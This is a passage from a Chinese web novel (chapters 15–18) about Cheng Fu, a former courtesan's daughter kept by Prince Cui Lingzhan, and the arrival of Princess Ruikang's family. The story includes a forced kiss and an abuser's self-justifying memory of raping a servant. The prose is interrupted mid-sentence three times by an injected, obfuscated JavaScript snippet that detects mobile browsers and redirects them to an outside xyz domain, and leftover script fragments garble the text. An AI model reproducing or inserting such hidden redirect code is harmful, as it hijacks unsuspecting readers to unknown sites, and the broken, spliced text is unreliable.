掐不起来的美人还有什么趣?好事者一哄而散。 此刻程芙闻声看向玉露,道:“好,这就去。” 玉露颔首冉冉回了上房。 约莫过了一盏茶,西梢间的婢女望见程芙走过来,立即上前为她打帘子,含着胸,侍过寝的不管有没有名分都算半个主子了,没人敢怠慢了这位王爷的新宠。 15.第 15 章 月地云斋的婢女都是未经人事的女孩儿,觉得王爷把芙小姐抱进暖阁待了许久才出来便是给她开过脸,唯有薛姑姑知道内情,却不点破。 因为王爷默认了。 主子默认的事,下人也得认,自是没有追根究底的道理。 崔令瞻正屈腿坐在罗汉床品茗,手肘支着旁边的花梨方几,另一手臂展开,随意地搭着扶手,舒展中又带着点慵懒的姿态把他的宽肩窄腰显露无遗,群青云纹的杭绸搭护领缘洁白。 程芙低头迈进来,走上前,屈膝施礼道:“王爷。” 崔令瞻抬眸,盯着她微微垂下的眉眼,慢慢地说:“挺厉害。” 程芙:“……” 一时品不出这话的真实意图,她便把头垂得更低,两手叠在腹部。 崔令瞻忽然笑了,“夸你医术。” “王爷谬赞了。”程芙说,“奴婢仗着王爷宽容跑去一进院,刘家儿媳捡回性命终归是因王爷仁慈,刘家上下都对王爷感激不尽的。” 崔令瞻撩眼看她,“小小年纪,伶牙俐齿。” “……”程芙两手轻轻攥了攥。 他目光落在了她手上,周身的锋芒立时收敛回去,默然须臾,柔声道:“救命的事,本王不与你计较,只是祖宗规矩在这里,你是本王的女人,从前的陋习不许再犯。” “是,王爷。” “有些事一旦开了先例,逾矩的人必将越来越多。” “奴婢知道错了,甘愿领受王爷责罚。” 婢女们低着头退出了梢间。 崔令瞻朝程芙伸出一只手,程芙把手递给他,他立即握住,包在手心里,耐心地焐着她冰凉的十指。 “你明知我舍不得的。”他看着她,“小混蛋。” 一想到昨日的亲昵,年轻男子的语气沁着自己都未察觉的宠溺,程芙听在耳中,联想到了温润,这也导致一开始的她从没将他与任何邪肆阴狠之词联系起来。 程芙轻声问:“奴婢以后还能不能去一进院?” 崔令瞻的笑容旋即淡了,往后靠了靠,“等你自由,想去哪儿便去哪儿。” “王爷说的是。”程芙见好就收。 自由,是他悬在她脸上的一张饼,程芙相信饼是真的,却也不会将所有希望都压在饼上,因为规矩由他说了算,何时吃到饼她说的不算。 “挣了多少诊金?”崔令瞻轻轻一拽,将走神的程芙拽进了怀中。 “二两银子并一枚金簪,分量挺沉的素面。” 崔令瞻“嗯”了声,“刘德挺大方。” 程芙抿笑说是。 崔令瞻静静地看了她一会,眼睫又长又密,鼻梁挺俏,靠近了就会有温热的气息从她肌肤里渗出,闻起来也是柔软细腻的。 他唤:“阿芙。” 程芙抬起眼眸看他,四目相睃,崔令瞻贴着她的唇,润了润,声线就暗哑了几分:“你的要求本王都会尽量满足,但这里与徐知县家不一样,清楚吗?” “奴婢清楚。”程芙垂眸回,“奴婢从前确实犯了不少事,可那时没有王爷护着,奴婢的所作所为只不过是想活着。” “想活着没有错,本王希望你永远活着。” 程芙“嗯”了声,将脸埋进他怀中,“王爷待奴婢这般好,衣食无一不精,出入有人伺候,动不动就赏奴婢好东西,奴婢便是再没有心也不会辜负您的。” “果真?”他把她的脸从怀中捧出来,在她脸上努力寻找着蛛丝马迹,“你也知本王待你好?” “嗯。”她点了点头,眉目娴静,娇怯亦娇媚。 崔令瞻目光如水,低头亲了亲她细嫩的红唇,“阿芙。” 他教她环住他的脖颈,自己则一手环住她的腰身,一手托住她的后颈,纠缠到了一处。 “嘴,张开。” “王爷……” 程芙蹙眉,如此入侵式的吻颠覆了她的认知,从未有人这样冒犯她,她感到恐惧,求饶声被他的唇舌强行堵住,她被迫含了…… 他肆意了一小会就心软了,缓缓松开了她,她眸中似有一层水雾,怔怔地躺在他怀中喘息。 连他的唇舌都不愿接纳,真的能承受他另一种方式的冒犯吗? 他抱了她一会。 “芳璃说你怕苦,总也不肯用红参泡茶喝。” 那是他好不容易为她寻来的,暖身驱寒。 程芙缓过气,轻轻道:“奴婢今天一定喝。” “饿不饿?”他问。 他一提醒,她才想起自己尚未来得及用午膳,便如实地点点头。 崔令瞻吩咐摆膳,外面守着的人闻声开始在次间的炕桌上布置。 “以后本王在的话,你过来。”他说。 “是,王爷。” “去吧。”外面的膳食摆好了。 “奴婢在您这里用膳会不会不合规矩?” 崔令瞻:“我说了算。” 程芙不再说什么,起身福了福去次间用饭了。 崔令瞻垂眸,独坐了许久,抬头视线穿过朦胧的珠帘,依稀望见她瘦削的背影,穿着绣了茉莉和蝴蝶的百迭裙,那么美。 她方才主动靠进他怀中,柔软香甜,他窃喜的同时却无比紧张。 崔令瞻想起了幼时捡到的一只小狗,不通人性,指东往西,不管喂它多少精肉玉脍也养不熟,后来才知那不是小狗,是一只还未成年的小狼。 他不信邪,坚持将它养大了,秋猎时它勇敢冲在最前面,聪明且灵巧,不仅懂他的手势也懂他的眼神,陪他轻骑猎鹿,飞鹰走马,直到他解开它脖颈束缚的革带,那天夜里它咬了他,头也不回冲进了茂密的丛林。 此后他再也没有见过它。 而他对阿芙的在意……其实一开始就不对劲,超过了合理的范围。 不过崔令瞻很快又冷静了下来,并为此找到了合理的解释:在阿芙之前,他从未与姑娘亲密相处过。 他是个成年男子,有着正常的身体、天然的需求,他对她的包容与疼爱出于最深层的欲-念,男人狩猎的时候都善于伪装。 午后小郡主要睡觉,未曾来月地云斋纠缠崔令瞻,崔令瞻也不去银安殿,更没有要去军营的意思,他在教程芙合香。 香料谓之香药,早在《黄帝内经》中便有记载,程芙视为岐黄之术的一个小分支,对此十分感兴趣,如今有大把名贵的香料供她挥霍,还有人免费教授,自是不学白不学的。 她神情认真,反倒使崔令瞻不敢生有亵-渎之心,不知不觉也认了真。 每种香都有其独特的药性和香气,香合得好不仅陶冶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16433862|184773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情操,亦能调理躯体,由内而外。 “王爷身上是什么香?”程芙有着旺盛的求知欲,崔令瞻衣领间的香气清新而不失沉稳,使人昏沉时醒神,躁郁时安宁。 “清英。” “奴婢能看看香方吗?” “好。” 他不仅给她看了香方,还手把手教她如何研磨、配伍混合、以蜜为剂调制香饼。 于崔令瞻而言也是奇异的经历,合香这般清雅私人的事,两个人做起来竟是如此有趣,他望着怀中人入了神的侧颜,不禁怦然,为自己与她共同经历了一件小事而雀跃。 “一起合的香应当怎么分?”他问。 “全是您的。”程芙不懂他一把年纪了,为何突然问如此幼稚的问题。 “我们独处时点上,只有我和你。” 他想与她被许多看得见的、看不见的联系起来,香也好,用膳也罢,乃至同床共枕。 崔令瞻取出一块隔火烘烤,清英很快在周遭流动,将他与她紧密地相连。 绿娆去了趟小厨房安排晚膳,回来与薛姑姑交割完径直回了茶水房。 一进门瞅见玉露也在,她诧异道:“你怎在这里躲懒?” 玉露回:“王爷和芙小姐独处,不叫我们跟着,只留了一人在门外伺候。” 绿娆:“……” 前后得有两个时辰了,大白天的,王爷做啥呢? “合香玩的。”玉露感觉绿娆误会了什么,忽又想起另一茬,她喟叹道,“方才针线房的人来过,给芙小姐做了银狐裘的新斗篷,同王爷的那件一模一样。我悄悄摸了把,蓬松柔暖,手指一下就陷了进去。” 王爷可真疼芙小姐,玉露羡慕不已。 绿娆在心里想还不是你自己不争气,所有心眼都用来巴结薛姑姑,见着王爷便夹起尾巴,哪有芙小姐半分知情识趣,换她是王爷也更喜欢芙小姐。 “银狐裘?”绿娆陡然抓住重点,“我记得王爷专门猎了五只赤狐。” 用银狐皮子,王爷还真舍得。 玉露:“赤狐皮是要给芙小姐做宫毯的,加上王府的库存还能额外做一张炕褥。王爷说她手脚凉,踩着赤狐皮子生暖。” 绿娆可算是大开眼界,嘴唇动了动,不再说什么。 其实崔令瞻的“疼爱”于程芙而言不太有实用价值,东西确实赏了不少,贵也确实都是贵的,却鲜有能用来变现,银狐斗篷、敕造珠宝、珍馐美味,哪一样能拿出去卖? 好不容易盼到了月例,她想小夫人的怎么也得十五两吧,没曾想到手足有二十两,此外还多了一份一百两的,薛姑姑说旧例都是十五,可是王爷疼她,特特提到二十,然后那一百两也是王爷赏她傍身的。 可谓是缺什么来什么,面对一百二十两的大手笔,程芙心尖战栗,最想要的莫过现银或银票,崔令瞻此举多少有些震动了她。 芳璃送薛姑姑出门时,程芙忙拿起一锭,沉甸甸的十两,下一瞬脸色忽然变了,她忙又翻看检查了剩余的十一锭,每锭都刻着王府的公印。 心凉了半截。 这样的银子她怎么花? 准确地说是她不敢乱花,这种银子极容易溯源,正规店铺里还有专门的登记,但凡她花在歪门邪道必然说不清。 崔令瞻故意的吗? 16.第 16 章 程芙放下银锭,浓浓的失落与失望冲淡了眼角眉梢的喜色。 芳璃误以为她开心得手足无措,也替她开心起来,“奴婢把今日收到的银钱斗篷一一登记造册,等下来给您过目。” 程芙闷闷地应了声,垂眸静坐片刻陡然灵光一闪,胸腔霎时砰砰砰急跳起来。 黑市有一种人专以熔银为生,熔的不必说便是这种刻有官印的。 程芙给自己倒了杯茶,小口小口地抿,抬眼看向内室的琉璃,正在嘀嘀咕咕清点箱笼。 琉璃为人负责,待她也忠心,所图更简单——盼她好自己也能有个好前程,这份忠心只要利益不相悖便牢不可破。 程芙轻轻放下茶盏。 次日崔令瞻去了军营,走得很急,程芙没想到的是他已经走了老远,突然命人折回来传话与她:下个月才能回府。 他爱去哪儿便去哪儿,这跟她有什么关系?不过程芙听了止不住暗喜,面上则娴雅如旧,不叫人瞧出端倪。 因为毅王不在还有薛姑姑。哪怕她表现得足够本分,薛姑姑依然心存芥蒂, 倒也不是薛姑姑针对她什么,仅是出身清白之人不自知的优越感罢了,打心底瞧不起瘦马未婚生的孩子,觉得她脏。 好在医婆和郎中检查过,担保程芙没有脏病,祸害不了王爷。 这个世道笑贫不笑娼,但要真是娼,世人还是要笑话的,很少有人把关注点放在被迫和自愿两个词上。 为奴为娼又不是她阿娘的错,那时的阿娘还小,做不了自己的主,被亲人卖了还能怎么着? 不过长大后的阿娘立即为自己谋出路,同时保护女儿和姐姐。程芙记得有个白发老爷爷甩出八百两买自己,赌咒发誓回去当亲孙女养,阿娘二话不说泼他一身粪水。 那些年不管旁人开多少价,阿娘都未曾出卖至亲,有情有义,有勇有谋。 作为阿娘的女儿,程芙很骄傲。 付氏一路踮着脚儿,拎着一包芳味斋的冬瓜糖,喜滋滋来到了程芙的住处。从前看走眼,没想到程芙是个有真本事的姑娘,不声不响,一出手便是金针止血的绝技。 这在医婆眼里不亚于祖师般的存在,矛盾的是程芙年纪又这样小,付氏五味杂陈。 自从皇后力排众议抬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16440306|184773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 举医婆地位,付氏也有了几分心气,幻想自己将来注册备召,得贵人赏识。 然而光幻想没有用,打铁还需自身硬,杏林讲究传承,女人哪来的传承,否则医婆也不会被嘲讽旁门左道了。 但她还是主动凑到程芙身边,想着家传的东西学不到,学点无关紧要的皮毛也是好的,做梦也没想到程芙居然直接道:“大娘若对施针感兴趣,我教你便是,莫要拘谨。” 付氏心头一个踉跄,简直要怀疑自己是不是听错了。 “这能拿出来随便教?”她瞠目结舌。 “能。”程芙说,“家母在世时收徒都是免费的,只不过没几人想学。” 付氏咕咚吞咽了声口水,膝盖一软便跪了下去,“师父……” 程芙:“……” 芳璃眼疾手快,将付氏拽起来。 “医道无疆,我算不得师父,只是尽可能将自己所学讲出来,大娘若要谢我不如精进技艺,将来悬壶济世,多帮扶些身不由己的女子。” 付氏抹了把脸,脑袋一直嗡嗡的,听见程芙的话,赶紧用力点头,一把年纪居然哭了出来。 17.第 17 章 付氏这是喜极而泣的哭。 未料瑞康公主的到来像一颗丢进池塘的小石子,荡起了王府层层波澜。 腊月初二,一队车马停在了王府正门前,长史和薛姑姑领着众多仆婢家丁迎接,光是搬运箱笼就搬了三个时辰。 丧偶多年的瑞康公主携一双儿女款款走下华美宽敞的宝盖香车。 她是已故燕王的同胞姐姐,崔令瞻的亲姑母,此番回京顺路看看苦命弟弟留下的几个孩子,实则倾慕钟灵毓秀的燕阳已久,借机游玩罢了。 崔毓真一脸懵懂,张大好奇的眼睛眨也不眨盯着瑞康。 瑞康款步走过去捞小鸡仔似的抱起崔毓真,心肝肉地叫了起来,边叫边抹泪。 “我要找哥哥。”崔毓真大哭。 程芙是在傍晚时分得知王府来了“大人物”。 薛氏皱眉打量与医婆坐在一处的程芙,面前摊着堆草药。 芙小姐仗着王爷的疼爱多少有些过了,拎不清自己的身份,思及此忽又意识到芙小姐本来就是这种身份,也只有医婆仆婢愿与其来往,不然还能怎样?稍微有点身份的也不跟她玩呀…… 薛氏收回了尖锐的情绪,温声道:“瑞康公主一家将将在王府安顿,您经历的事少,对他们不甚了解,万一冲撞引起什么误会,难免要给王爷添乱,所以我才私下与您通个气。” 给王爷添乱就是给大家添乱、给自己添乱,懂事的话,在王爷回府前莫要踏出四进院了。 “我明白。”程芙起身道,“幸得姑姑惦记,这几日我不会乱走的。” 薛氏表情和缓了一些,“多谢小姐担待。” 大家警惕如斯究其根本实在是瑞康公主的名号过于响亮。 本朝的皇帝对子嗣有多严厉,对公主就有多纵容,尤其瑞康公主,自小惯得不成样子,养面首、勾搭有妇之夫、当街殴打驸马,骄奢淫逸,没有什么坏事是她不敢做的,传言驸马就是被她活活气死的。 坏事做太多皇帝也不可能无动于衷,责骂犹如家常便饭,隔三差五还宣召入宫当面骂,可光是骂又有什么用?转头照旧赏赐大把的珠宝良田,去年还封了她小女儿一个郡主。 却因为没有封她的嫡长子惹得她一哭二闹三撒泼,皇帝总算动了怒,赏了她一巴掌。瑞康公主伤心欲绝,携一双儿女去南地散心,这不回京恰好路过燕阳,干脆顺道看看侄子侄女,好歹也是一母同胞弟弟留下的。 公主挑剔的目光从进府就开始环顾,其实也不差,到底是亲王府,规格什么的都要高出公主府的,然而落脚的客院气派有余奢华不足,没有摆满闪闪发光的琳琅物件,帐幔也不是粉色的。 不过身为客人初来乍到便挑剔难免失了礼节,瑞康只好作罢,反正燕阳有趣的东西那么多。 皇姑母大驾光临,崔哲陪同幼妹崔毓真前来请安,这是瑞康头一回见到阿真,可了不得,不若瞧见了观音座下的玉女,水灵灵地站在那里把一屋子暗沉点亮了。 上一个让她双目绚烂的孩子还是崔令瞻。 其实崔哲也好看,但气度到底是差许多,见多识广的瑞康直接忽略。 好可爱的小女娃,瑞康为数不多的母爱倏然醒了,一把抱起崔毓真,香香软软的,让她爱得不得了,却把崔毓真吓个不轻。 五岁的女娃儿,人生最亲近的亲人也只有哥哥崔令瞻,其次是二哥崔哲,哪里见过浓妆艳抹、乖张泼辣的妇人。她所接触的仆婢无不浅淡妆容,气息清淡,待她更是谨慎呵护,连喘气都不会太大声的。 愣愣盯着瑞康鲜红的嘴巴,夸张的声音,她终于“哇”的一声哭了出来。 瑞康也愣住了,尴尬渐升,这是她从未遇过的状况,一时抱也不是放下也不是。 “阿真不哭,表姐陪你玩儿。” 一道清澈柔婉的少女声音传来,阿真被抱进了另一人的怀中,这次是温柔的,声音也是低缓的,气味更是好闻。 少女望着她圆溜溜的大眼睛,眯眸一笑:“你好呀小阿真,我是你阿茉表姐。” 卓婉茉,去年那位被封了郡主的公主之女,好美的表姐。 崔毓真变得安静。 瑞康公主牵了牵嘴角,嘁,没意思。 崔哲大脑一片空白,呆若木鸡,望着恍若神仙妃子的卓婉茉,想到了她的郡主身份,他第一次生出了自惭形秽的刺痛感。 皇祖父都能给公主的子女封爵,却从未正眼瞧过每个庶出的亲孙儿,即便是嫡孙兄长的爵位也是以命赌回来的。 能够客居毅王府,瑞康公主高兴,公主之女卓婉茉也高兴,唯独公主之子卓霄安不高兴。他不喜欢崔令瞻这个表哥,他非常清楚崔令瞻的真面目,根本就不是家人以为的那样。 当崔令瞻把他脑袋按进水中,水流瞬间挤进了口腔,肺部几欲炸裂,钻心的痛楚,无一不提醒着他——崔令瞻是个疯子。 再不求饶真的要死人了。 他哭着道歉,不断加码一直加到一千两,整整一千两白银啊,赔给一个贱婢,他才逃出生天。 那贱婢只不过是薛姑姑的女儿,薛姑姑自己都是伺候皇室宗亲的奴仆,奴仆之女被他睡一次怎么了?她不反抗的话他还会打她吗?都怪她自己不识趣! 崔令瞻就为这么点小事不留情面地折磨他羞辱他…… 此时此地,再逢薛氏,卓霄安狠狠剜了一眼,拂袖先行而去。 当然崔令瞻的真面目并不止这一点,还有残-虐贴身亲卫,接触北镇抚司的小刀子,然而卓霄安一个字都不敢说出去,因崔令瞻掌握了他致命的弱点。 思及此,他打了个寒噤,低头小跑起来。 展眼过了三日,腊月初五,崔令瞻提前自军营而归。 一别数年,当初的少年人已然有了青年的轮廓,更为结实的宽肩,还长高了不少,瑞康公主两眼发亮,怎生得这般俊美,三弟实在是太会生了! 她走过去捏捏崔令瞻修长的手臂。 崔令瞻品秩不低于她,只需行晚辈礼,微微弯身道:“皇姑母安好。” 清冷的人,清冽的声音,深邃的眸像幽夜的海,当他抬起眼,瑞康不知怎地立刻就缩回了手,没敢继续捏下去。 “好孩子,这些年你们受苦了。”瑞康抹了抹眼睛,“听说你重掌燕西军,父皇果然重视你。” “皇祖父待阿诺恩重如山。” “说什么呢,那是你亲祖父,连你的名字都是他老人家取的,疼你是自然。” 崔令瞻原名崔诺,皇帝觉得少点意思,御笔一挥,当即改为令瞻。 “皇姑母言之有理。”崔令瞻唇角微扬。 卓婉茉落落大方施礼道:“阿诺哥哥。” 崔令瞻颔首,“茉表妹。” 卓霄安站在卓婉茉身后,不情不愿喊了声“表哥”。 瑞康嫌他晦气,忙挤开他,与崔令瞻一同回四进院。 姑侄俩并肩同行,拾阶而上,不时低声絮语,拉起家常的血脉亲情顿时凝聚起来,气氛弥漫了温馨。 是夜家宴其乐融融,表哥表弟表妹们相互见了礼。 怕生的崔毓真一改常态,黏在卓婉茉身边。 崔令瞻的目光越过穿行的下人落在阿真身上不禁变得温柔。阿真感觉到哥哥的注视,立即回了个大大的笑脸,然后爬下座椅,也不要乳母牵手,兀自走到了崔令瞻身边,抱着他手臂撒娇。 这个年纪的孩子都这样,于崔毓真而言,比起兄长,崔令瞻的意义更像是父亲母亲的化身。 崔令瞻揉了揉她的小脑袋。 父王母妃相继离世,那时的妹妹还不满两岁,身边亦无血亲姐妹,很是孤独可怜,难得对阿茉亲近,他很欣慰。 只可惜姐妹二人相差十一岁,他更希望有个同龄人陪伴阿真。 婢女搬来崔毓真的专属小椅子,崔令瞻掐住她两腋轻 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崔令瞻立在一地的月色中央,视线扫过饶有兴味的瑞康公主和含羞带怯的阿茉,淡淡道:“夜深天寒,姑母表妹也早些休息。”他吩咐身后的内侍,“墨砚,送一送公主和明珠郡主。” 墨砚:“是,王爷。” 瑞康止笑,讪讪看向女儿。 卓婉茉轻轻咬唇,并无二话,低头告了罪,叮嘱崔令瞻注意身体,就携母亲离开了此间。途中她不禁赧然责备道:“母亲,阿诺哥哥不是那种人,休要再拿我和他取笑,他会不高兴的。” “你管他高不高兴,你高兴了不就成。” “母亲!”卓婉茉泫然欲泣,跺脚道,“您再这样,叫我以后如何面对阿诺?” “好好好,我不说了。” 月明星稀,浮华落幕,王府上空的夜色更浓了。 月地云斋的暖阁早有婢女开始焚香铺床,内侍则在澡间忙碌,王爷喜欢自己沐浴,至多叫一名内侍进去服侍,不喜人多更不喜婢女入内。 有婢女瞥了眼程芙房门的方向,小声嘟哝:“不知道的还以为我们是通房呢。她倒好,时辰一过蒙头大睡,薛姑姑还不让人叫她起身服侍。” 话不好听说的也是事实。 最该站在这里的人应该是程芙,哪怕什么都不做也该漂漂亮亮地站在这里等王爷,可她睡在暖和蓬松的丝被里,从来不用熬夜受累,难免使人心里不平衡。 绿娆冷声道:“妹妹若是累了就先回去休息是了,这里交给我。”顿一顿,又道,“下回再说通房莫要拉上其他姐妹。” 说嘴的婢女语窒,旋即察觉到失言,连连施礼,给一众姐妹告罪。 不是绿娆的语气吓到了她,而是她自己反应过来了:那是薛姑姑不让程芙起床吗,分明是王爷啊。 王爷什么也不舍得她做,才有薛姑姑这么一说,否则谁能做得了主? 婢女们各自谨慎,不再多话。 程芙是被芳璃唤醒的,只听她在帐子外心急如焚道,“王爷回来了,您总得表现表现,可不能叫人抓住把柄呐……” 程芙发了会呆才理清状况,可她实在困得紧,又怕冷,斟酌道:“要不你帮我告个罪,就说我身子不舒服……” 芳璃一脸恨铁不成钢,正要张嘴说什么,笃笃笃叩门的声响传来,程芙一惊,醒了大半,芳璃则满脸兴奋,三步并作两步走过去,用力拉开门。 崔令瞻寝衣外套着长衫,穿戴整齐,因沐浴过后的缘故满头青丝自然垂泄腰际并未挽起,很随意家常的模样。 芳璃低下脸不敢看,小嘴却特别利落:“芙小姐刚刚才醒,一睁眼就念叨您呢,不顾奴婢劝说执意要去见您,没想到您就先来了的。” 崔令瞻点点头,芳璃就不再多言,轻手轻脚退下,还贴心地关紧房门。 18.第 18 章 程芙睡眼惺忪,领口歪斜,鸦黑的长发堆在一侧肩头,极娇极媚,似一幅醉人的春睡海棠图。 崔令瞻感觉有些口干舌燥。 芳璃的门开得过快,猝不及防的,程芙尚来不及穿衣穿鞋,直到崔令瞻走来,她才彻底清醒,捂着襟口钻出被窝,下床鞋想拿架子上的衣服,一只白皙的大手比她更快,取下她想要的藕粉色小袄,披在了她肩上。 程芙道了声谢,边穿边关怀了一句:“天寒地冻,王爷在军营冷不冷?” “不冷。”默了默,崔令瞻问,“晚膳可还喜欢?” 家宴的菜式他命人一一送进了她房中。 她回:“喜欢。” “最喜欢哪道?” “乳酪葡萄酥。” 他笑了,小孩子才喜欢吃这种,欺身亲亲她的眼尾,这里有颗泪痣,似乎还嫌不够另一侧脸颊又长了颗芝麻大的,让本来瓷白无暇的小脸愣是添了两点“瑕疵”,可她怎么还是这般好看呢? 崔令瞻捧着女孩的脸看不够。 “阿芙。” “嗯?” “今晚我在这里好不好?” “……” 还算融洽的氛围戛然凝固,经过了漫长的等待,崔令瞻没能等到想要的答案,失落油然而生,眼帘微微垂下,她赤着的足雪白。 程芙蜷了蜷脚趾,嗫嚅道:“可以。”话音未落身子腾空,被他打横抱进了帏帐。 不是,她说的“可以”不是这个意思。 崔令瞻几下卸掉自己的腰带,复又试图将她的衣衫全推上去,唯恐慢了她会改口反悔似的。 程芙用两只手包住了他足以捏断她脖颈的右掌,缓声商量道:“王爷可否宽限几日,奴婢初九就能伺候您的……” 再等四日才行。 崔令瞻语窒了片刻,回:“好。” 不问因由他就答应了。 这份温和与耐心无不令程芙庆幸,庆幸之余也更明白自己要做的是维持和引导,而不是一味挑战他的底线。 “奴婢三天前刚好来了月事,不宜侍寝。”她攥了攥他掐住她软腰的大手,安抚着他紧绷的冲动。 说不怕是假的,月事已经很疼,贸然云雨无疑要她半条小命。 彼时浅色的烛光穿过纱帐,影影绰绰,在她浓长的睫毛与俏丽的鼻梁投了暗影,一切都变得深邃朦胧,崔令瞻倏然想起自己来之前的心情——他很急切地想见她。 离开了那么久有一半时间都在想,从军营回来的路上还遇到了篱落里打架的野猫,两只大的打一只小的,小猫凄厉惨叫,叫得他心慌意乱。 见到她的那瞬间,心莫名就不慌了,只是跳得更用力了些。当暗香浮动,单薄柔软的寝衣折出了她美好的山峦,她的身体便于他眸中奔涌成欲-念的潮汐。 男人想这种事情就是一刹那的,毫无前兆的。 但她眼底的恐惧,含着讨好的笑意,击碎了他隐秘的念头。 夜已深,崔令瞻放下最后一层帏帐,自己铺了被褥与她共枕而眠,不去胡思乱想。 程芙习惯了独处,这一觉多少有些不踏实,换谁旁边睡个陌生男子也没法放松的。 同床睡了一晚还是没要水。次早薛氏听闻当值婢女的回话陷入了沉思。 婢女一脸懵懂,没要水是什么很严重的事吗?怎么每回都要问王爷和芙小姐要没要水? 月地云斋的婢女一个比一“傻”,薛氏叹息,愁的。 以往还能用洁身自好解释,如今算什么? 又是抱又是同床的竟一次水都没要过,纵然不敢往那方面想,薛氏也要忍不住怀疑了——王爷罹患男科隐疾。 可若真这般严重……荀御医又怎会像个没事人? 王爷看上去更没事。 被疑心有隐疾的崔令瞻如常用早膳,以公筷夹了樱桃肉放在程芙碗中。 绿娆等人全当没瞧见,站在门口附近,既不打扰了两个“蜜里调油”的人,也能一叫就应声。 王爷原本只是不喜下人围前围后布菜,现在倒好,直接为下人布菜去了。 绿娆撇撇嘴,这样正好,她乐得轻松。 程芙咬了一口樱桃肉,次间的帘子就钻进来一抹小小的身影,绿娆等人诧异道:“郡主。” 崔毓真踮着脚儿蹦到崔令瞻身边,“哥哥哥哥,凌大人说腊八过后就有冰嬉是真的吗?” “真的。” 崔毓真欢呼起来。自从冰嬉取代了普通的冬日练兵,她就再也没忘记过,整日盼着冬季,见到凌云便问,如今可算是被她盼来了。 “那说好了,一定带阿真哦。”她殷殷道,“我要跟你,才不要二哥。”转而拿起公筷,模仿婢女的样子殷勤地给兄长布菜。 “好。”崔令瞻颔首,抬起眼眸发现程芙在看他,他眼底眸光一柔,扬眉道,“也带你。” 程芙:“……” 崔毓真这才发现与哥哥同桌而食的竟是一名婢女,惊讶的眼睛都瞠圆了。 “哥哥,她是婢女欸!” “你怎能与婢女一同用饭,不脏吗?”这同崔毓真接受的规训完全相悖,简直颠覆三观,“你以前不是这样教我的。” 程芙起身双手合在腹前微垂眼睫,崔令瞻自己也愣住了。 乳母及时走过来,弯腰抱起崔毓真,连连向毅王请罪,“奴婢该死,是奴婢没看好郡主。” 崔令瞻面沉如水,左手不住地攥拳又渐渐松开,“照看好郡主。退下。” 乳母马上领命,愈发搂紧了怀中的崔毓真。 “哥哥!”崔毓真踢了踢小腿,乳母却不由分说把她抱出了正房。 正房的次间再次恢复了静谧,针落可闻。 “坐。” “是,王爷。” 两人谁也没再说话,默默用完了早膳。 崔令瞻的目光不时投向她,凝眸看她,仿佛目不转睛能望穿一个人。 阿芙是娼女之女,是不被宗人府承认的存在,进不了玉牒,上不了族谱。 即便她已脱离贱籍,他也无法为这段关系赋予深刻的定义。 所幸她是个傻姑娘,从未主动朝他索要过名或利……也不要他。 辰初崔毓真又来了一趟,兄长一别近十日回来便待在月地云斋,再也不似从前那般陪她玩了,她有些委屈。 所有的反常似乎都出在一个婢女的身上,崔毓真直觉如此,但她理解不了。 她对那个婢女也没有敌意,之所以关注多一些,大概是哥哥总是认真地看那婢女,像看一朵花,一幅画。 崔毓真如愿以偿获得了崔令瞻的关注,兄妹俩手牵手往庑廊上走。 “阿茉表姐也在,她做的杏仁酥可好吃了。”崔毓真奶声奶气道,“还做了你喜欢的龙井糕,她对你真好。” 崔令瞻下意识回首看向西次间的檐廊,那里有个不爱吃龙井糕的人,她正在浇花。 程芙随意浇了盆花,余光一直注意着兄妹俩,直到他们消失在视野,她才松了口气,回屋坐在榻上。芳璃抱了张兰绒毯盖住她腰腹以下,保暖。 是崔令瞻的毯子。程芙抬眼看芳璃。 芳璃解释道:“绿娆送来的,她说王爷火力旺,用不上。” 程芙摸了摸,绒绒的生暖,真的很暖。 午后付氏瞅准时机跑过来,还带了一则好消息。 “阿云从军营回来就给了我这个——你姨母的消息。”付氏笑眯眯的,“分文不收,果然还得是自己人。” 程芙脸庞都亮了,“大娘。” 付氏摆摆手,“莫要谢我,这功劳我居不了。”说着挠挠头,小声道,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16452283|184773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倘若方便的话你记他个好,有机会帮衬一句自是再好不过。” 说完她又补充了一句:“阿云仗义,你这么对他,他定会对你更好。” 程芙默默看完了卷宗录存,消化了一阵子,再抬眸嫣然而笑道:“大娘所言极是,凌大人如有什么要求只管开口,我必义不容辞。” 付氏觉得自己为最喜欢的两个人做了好事,顿生满足和欢喜。 程芙教授施针,付氏求之不得,两厢合得来,一晃眼就过去了三炷香。 休息时闲聊,付大娘打开了话匣子,“阿云靠自己从燕西军实打实闯出名堂,认真计较他还是名门之后呢。他母亲姓卢,范阳卢氏知道不?便是父族没落了也是寒门,跟咱们不一样。” 程芙瞠了瞠明眸,点头喟叹。 